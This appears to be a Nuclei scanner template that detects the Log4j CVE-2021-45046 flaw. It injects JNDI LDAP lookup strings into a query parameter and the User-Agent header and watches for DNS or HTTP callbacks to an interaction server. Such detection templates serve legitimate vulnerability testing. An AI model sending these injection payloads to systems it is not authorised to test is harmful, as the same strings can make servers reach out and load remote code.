CVE-2021-45046.yaml

id: CVE-2021-45046

info:
  name: Log4jCVE-2021-45046 Detect for Logs
  author: ELSFA7110
  severity: high

requests:
  - method: GET
    path:
      - "{{BaseURL}}/?test=${jndi:ldap://127.0.0.1#{{interactsh-url}}/a}"

    headers:
      Host: "{{Host}}"
      User-Agent: "Mozilla ${jndi:ldap://127.0.0.1#{{interactsh-url}}/a}"

    matchers-condition: or
    matchers:
      - type: word
        part: interactsh_protocol
        name: http
        words:
          - "http"

      - type: word
        part: interactsh_protocol
        name: dns
        words:
          - "dns"